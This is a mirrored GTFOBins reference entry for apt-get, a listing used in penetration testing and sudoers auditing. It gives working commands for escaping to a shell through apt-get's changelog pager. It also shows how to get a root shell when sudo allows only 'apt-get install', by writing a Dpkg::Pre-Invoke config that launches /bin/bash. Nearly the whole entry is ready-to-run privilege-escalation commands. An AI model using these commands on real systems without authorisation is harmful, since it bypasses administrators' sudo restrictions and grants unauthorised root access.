1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/apt-get.md
2018-11-29 13:51:39 +01:00

705 B

functions
shell sudo
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. apt-get changelog apt !/bin/sh
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo apt-get changelog apt !/bin/sh
description code
Sometimes, only some subcommands of `apt-get` are enabled by sysadmin in the sudoers file. When only `apt-get install *` is allowed, you can use: echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf sudo apt-get install -c ./test.conf sl